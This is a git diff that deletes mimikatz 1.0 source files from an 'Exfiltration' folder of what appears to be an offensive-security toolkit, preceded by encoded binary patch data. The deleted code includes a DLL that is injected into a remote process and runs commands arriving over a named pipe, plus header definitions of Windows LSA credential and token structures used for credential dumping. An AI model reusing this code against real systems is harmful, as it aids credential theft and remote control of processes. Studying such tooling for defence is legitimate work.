zVFPRJn_8=I@P0jx^fkcp)dQ#pWnuKztN41CJ;oUyrcUADG29T*JE-e`yig_0=L)z>di(#^nY@a5{E4ydCCIPVL^~fPJj$+ zwi>xvSj2Pi>c$FeYbS;W^|;9Mkj2x798WaHZ+F1BWyc|Jvd?~PLO|A>YVt(nx&(ep zgZzpjwE^;}VNeM4feve_@*K0oiECIMlaHI7FW|yaZd zAV;E65e>B>au@7h>-H_^Tw<-_q#ac4{cw?W)F9S^g?fDKqjxx5+yn{M#pKBaPB+;O znSJK;(~v>#Ns*d{)z#(L%k!!k>qkc(G?K4r=Q-#xc88{5^op~XYOpQsu#^3E4c66l z$#pMe|AzEItrFJY(pmTP^@7?ZJ1BAd8txIeTHlLc_8-UEc|2>;5v=1Luj_^y>*p%2 z0g&2mMh?LR(lO!G#w25YaUM3;vpz%4;uv{53-U$RU-jTt*FDVKY>7!m`!ak20;d?4 zM8DNy+%w|*FCaf;NNtQ7xjEUmVERlTxh--k_P#h;)XMR{A(!$FspKJIi6M*_Hs)2a zew+x^bJw8k<_Y;2awpVq402cHg{%qH;2i750$*ZBzA)&+bF6oZz?21t2IHTJyPdas z6L~4}Ypbb|TUnO{!?H|r%j6+LsbM^0g}LODH>Oq~h`f!!M5$tDr(`fxfdibCUZZRJ!J#Kh)mcvK13wvU*G~#i6N1En0MC; zn5I*=NWFxPjT3YkpMN<#m(th$9>I&dNtiL#$IZVq&#n8_WE6zd*&MSBeGaG?nfkjFp>O&U{QPqCo9{? zVFyF^;&munSd-%oq81Z=oLY-7^GrcVgOtz5hr4waVGnenERS zYZdue-%75YIyzPAiv&H6oSg$C$cxN8Yfrv50xoTjIS&II`*S!n_hM&W4eRahFra=x z@A7pl3=D!PYfO7us$k37qYwKIX8p^T=KtXZoXe{R#%XSz@M-*?+JmvdJ`1_`Z|*9= zs+IyQuPY?am(F;={fGIhB=sB;=j_Q(rr|(AEtW-R!Z;`nhCbxVw;h2V^9N&c$s1Br zU^eJ?O{@ozuVDW|-BYObNBr##Hn|2ye(Lj=t?ebNKWz{53EbF6zW#nC_H|a1uPcKl z^*Qq7^d+eiQoDKsn%3k>?cAYp&ISuCufgErRp_0)2xDq~R&eY)%kp8tHFur06QK?j zzSp&RIe;1y)7wa3sa~En~Q9r)Hs({4wUyk{= z-rJ@mT-|!V8oM7gVK-~B%XnW^))5WMav58)>EBsc%=~02xzTkMjJ4z`%vk%hWDU-N zeY?`%g?@uspNL>hB9{Eh>FWCDx;A%(DrwjRiC$50rEf*QmU|;Qaqe5uQ4_vpsiB+q%H_R| z^B!|(tjzrH*Vr*%FB&pYu3t=k1-{VOjG>C_F;s#7TcNxjVhXDuHqQ`ZQ)GVla@1I- zVM9NkK6L1iKYaSN@}|RE#mz7NIM>^knpQ!FmI2wYNX)kO#JFu%5L;x9FBcrZ7n++f zUU_-Fgo4JnPrseC)9k!NHnk$ux~nwiQ`NK?i1?_r{E6M+%q4dZlYLCNMvYg?b#dYUgdS_)aYRnFrW3^gzb$ zHgnXAkYVnjL;h+{TOBTb+ljMPwV1l>Xw#nH+m<@aag3^&C#6u^dX+p~a5|!?he&(! z1CCa#PLZyodN&F8P#&RA5N^!-X|_O(k=A#uwC>JHx2 zSG+{llOGYpy?9X|=jFN!Gx8*sn^CwJ`UULbH@fo~tfmo;?h&1dF+`n}LP=VhGO)m8JC740?D z)nq_7JRFA9_6l5@8S`~}?wNufCH(uBI9X7hD!1?QfBEmH``G(RLN6x39!|ML4ka0T}8f?)ZqpIWi~t(O)5kWcHO4e+}^3=t9eUr?btQ2+n{ diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp deleted file mode 100644 index a87ea8f..0000000 --- a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp +++ /dev/null @@ -1,139 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kmodel.h" - -HMODULE g_hModule = NULL; - -BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) -{ - if (ul_reason_for_call == DLL_PROCESS_ATTACH) - { - g_hModule = hModule; - - HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL); - if(hThread && hThread != INVALID_HANDLE_VALUE) - { - return CloseHandle(hThread); - } - } - return TRUE; -} - -DWORD WINAPI ThreadProc(LPVOID lpParameter) -{ - mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); - - bool succes = false; - for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++) - { - succes = monCommunicator->createClient(); - if(!succes) - { - Sleep(3000); - } - } - - if(succes) - { - ptrFunctionString maFonctionString = reinterpret_cast(GetProcAddress(g_hModule, "getDescription")); - - wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi"; - if(maFonctionString) - { - wstring * maDescription = new wstring(); - if(maFonctionString(maDescription)) - { - monBuffer.append(L"\n\n"); - monBuffer.append(*maDescription); - } - delete maDescription; - } - - - - if(monCommunicator->writeToPipe(monBuffer)) - { - for(;;) - { - if(monCommunicator->readFromPipe(monBuffer)) - { - wstring fonction = monBuffer; - vector arguments; - - size_t monIndex = fonction.find(L' '); - - if(monIndex != wstring::npos) - { - arguments = mod_parseur::parse(fonction.substr(monIndex + 1)); - fonction = fonction.substr(0, monIndex); - } - - string procDll(fonction.begin(), fonction.end()); - - ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str())); - - if(maFonction) - { - if(maFonction(monCommunicator, &arguments)) - { - monBuffer = L"@"; - } - else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal - { - break; - } - } - else - { - monBuffer = L"@Méthode \'"; - monBuffer.append(fonction); - monBuffer.append(L"\' introuvable !\n"); - } - - if(!monCommunicator->writeToPipe(monBuffer)) - { - break; - } - } - else - { - break; - } - } - } - } - - delete monCommunicator; - - FreeLibraryAndExitThread(g_hModule, 0); - return 0; -} - -bool sendTo(mod_pipe * monPipe, wstring message) -{ - wstring reponse = L"#"; - reponse.append(message); - - return monPipe->writeToPipe(reponse); -} - - -__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments) -{ - bool sendOk = sendTo(monPipe, L"pong"); - - for(vector::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++) - { - wstring maReponse = L" - argument:"; - maReponse.append(*monArgument); - sendOk = sendTo(monPipe, maReponse); - } - - if(sendOk) - sendOk = sendTo(monPipe, L"\n"); - - return sendOk; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h deleted file mode 100644 index 65bd912..0000000 --- a/Exfiltration/mimikatz-1.0/commun/kmodel.h +++ /dev/null @@ -1,21 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_pipe.h" -#include "mod_parseur.h" - -#define __kextdll extern "C" __declspec(dllexport) - -typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector * mesArguments); -typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription); - -BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); -DWORD WINAPI ThreadProc(LPVOID lpParameter); - -bool sendTo(mod_pipe * monPipe, wstring message); - -__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h deleted file mode 100644 index 385307d..0000000 --- a/Exfiltration/mimikatz-1.0/commun/secpkg.h +++ /dev/null @@ -1,239 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL -{ - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING Domaine; - LSA_UNICODE_STRING Password; -} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL; - -typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) (); - -typedef PVOID *PLSA_CLIENT_REQUEST; -typedef LPTHREAD_START_ROUTINE SEC_THREAD_START; -typedef LPSECURITY_ATTRIBUTES SEC_ATTRS; - -typedef struct _SECPKG_CLIENT_INFO { - LUID LogonId; // Effective Logon Id - ULONG ProcessID; // Process Id of caller - ULONG ThreadID; // Thread Id of caller - BOOLEAN HasTcbPrivilege; // Client has TCB - BOOLEAN Impersonating; // Client is impersonating - BOOLEAN Restricted; // Client is restricted - // NT 5.1 - UCHAR ClientFlags; // Extra flags about the client - SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client - // NT 6 - HANDLE ClientToken; -} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO; - -typedef enum _LSA_TOKEN_INFORMATION_TYPE { - LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type - LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type - LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type -} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE; - -typedef enum _SECPKG_NAME_TYPE { - SecNameSamCompatible, - SecNameAlternateId, - SecNameFlat, - SecNameDN, - SecNameSPN -} SECPKG_NAME_TYPE; - -typedef struct _SECPKG_CALL_INFO { - ULONG ProcessId; - ULONG ThreadId; - ULONG Attributes; - ULONG CallCount; - PVOID MechOid; // mechanism objection identifer -} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO; - -typedef enum _SECPKG_SESSIONINFO_TYPE { - SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED -} SECPKG_SESSIONINFO_TYPE; - -typedef struct _SECPKG_PRIMARY_CRED { - LUID LogonId; - UNICODE_STRING DownlevelName; // Sam Account Name - UNICODE_STRING DomainName; // Netbios domain name where account is located - UNICODE_STRING Password; - UNICODE_STRING OldPassword; - PSID UserSid; - ULONG Flags; - UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) - UNICODE_STRING Upn; // UPN of account (if known) - UNICODE_STRING LogonServer; - UNICODE_STRING Spare1; - UNICODE_STRING Spare2; - UNICODE_STRING Spare3; - UNICODE_STRING Spare4; -} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; - -typedef struct _SECPKG_SUPPLEMENTAL_CRED { - UNICODE_STRING PackageName; - ULONG CredentialSize; -#ifdef MIDL_PASS - [size_is(CredentialSize)] -#endif // MIDL_PASS - PUCHAR Credentials; -} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED; - -typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY { - ULONG CredentialCount; -#ifdef MIDL_PASS - [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*]; -#else // MIDL_PASS - SECPKG_SUPPLEMENTAL_CRED Credentials[1]; -#endif // MIDL_PASS -} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY; - -typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer); - -typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId); -typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId); -typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials); -typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials); -typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue); -typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length); -typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base); -typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length); -typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base); -typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress); -typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress); -typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy); -typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress); -typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID); -typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID); -typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle); -typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous); -typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId); -typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo); -typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent); -typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle); -typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer); -typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); -typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); -typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId); -typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); -typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); -typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); -typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info); -typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize); -typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size); -typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory); -typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem); -typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle); -typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize); -typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize); -typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle); -typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName); -typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus); -typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus); -typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status); -typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output); -typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback); -typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials); -typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize); -typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle); -typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize); - - - -#ifndef _ENCRYPTED_CREDENTIAL_DEFINED -#define _ENCRYPTED_CREDENTIAL_DEFINED - -typedef struct _ENCRYPTED_CREDENTIALW { - CREDENTIALW Cred; - ULONG ClearCredentialBlobSize; -} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW; -#endif // _ENCRYPTED_CREDENTIAL_DEFINED - -#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned -#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte -#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo -#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear -#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory -#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process). - -typedef enum _CredParsedUserNameType -{ - parsedUsernameInvalid = 0, - parsedUsernameUpn, - parsedUsernameNt4Style, - parsedUsernameCertificate, - parsedUsernameNonQualified -} CredParsedUserNameType; - - -typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential); -typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential); - -typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL); -typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags); -typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal); - -typedef struct _LSA_SECPKG_FUNCTION_TABLE { - PLSA_CREATE_LOGON_SESSION CreateLogonSession; - PLSA_DELETE_LOGON_SESSION DeleteLogonSession; - PLSA_ADD_CREDENTIAL AddCredential; - PLSA_GET_CREDENTIALS GetCredentials; - PLSA_DELETE_CREDENTIAL DeleteCredential; - PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; - PLSA_FREE_LSA_HEAP FreeLsaHeap; - PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; - PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; - PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; - PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; - PLSA_IMPERSONATE_CLIENT ImpersonateClient; - PLSA_UNLOAD_PACKAGE UnloadPackage; - PLSA_DUPLICATE_HANDLE DuplicateHandle; - PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; - PLSA_CREATE_THREAD CreateThread; - PLSA_GET_CLIENT_INFO GetClientInfo; - PLSA_REGISTER_NOTIFICATION RegisterNotification; - PLSA_CANCEL_NOTIFICATION CancelNotification; - PLSA_MAP_BUFFER MapBuffer; - PLSA_CREATE_TOKEN CreateToken; - PLSA_AUDIT_LOGON AuditLogon; - PLSA_CALL_PACKAGE CallPackage; - PLSA_FREE_LSA_HEAP FreeReturnBuffer; - PLSA_GET_CALL_INFO GetCallInfo; - PLSA_CALL_PACKAGEEX CallPackageEx; - PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; - PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; - PLSA_FREE_SHARED_MEMORY FreeSharedMemory; - PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; - PLSA_OPEN_SAM_USER OpenSamUser; - PLSA_GET_USER_CREDENTIALS GetUserCredentials; - PLSA_GET_USER_AUTH_DATA GetUserAuthData; - PLSA_CLOSE_SAM_USER CloseSamUser; - PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; - PLSA_CLIENT_CALLBACK ClientCallback; - PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; - PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; - PLSA_CRACK_SINGLE_NAME CrackSingleName; - PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; - PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; - CredReadFn *CrediRead; - CredReadDomainCredentialsFn *CrediReadDomainCredentials; - CredFreeCredentialsFn *CrediFreeCredentials; - PLSA_PROTECT_MEMORY LsaProtectMemory; - PLSA_PROTECT_MEMORY LsaUnprotectMemory; - PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; - PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; - PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; - PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; - PLSA_CREATE_TOKEN_EX CreateTokenEx; - CredWriteFn *CrediWrite; - CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; -} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE deleted file mode 100644 index 5acbbd2..0000000 --- a/Exfiltration/mimikatz-1.0/driver/MAKEFILE +++ /dev/null @@ -1 +0,0 @@ -!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer deleted file mode 100644 index cdd3755..0000000 --- a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer +++ /dev/null @@ -1,32 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD -VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe -MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv -ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 -MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 -LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg -Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx -i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH -oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 -bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt -bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw -R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ -k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH -BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV -HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 -BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY -MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 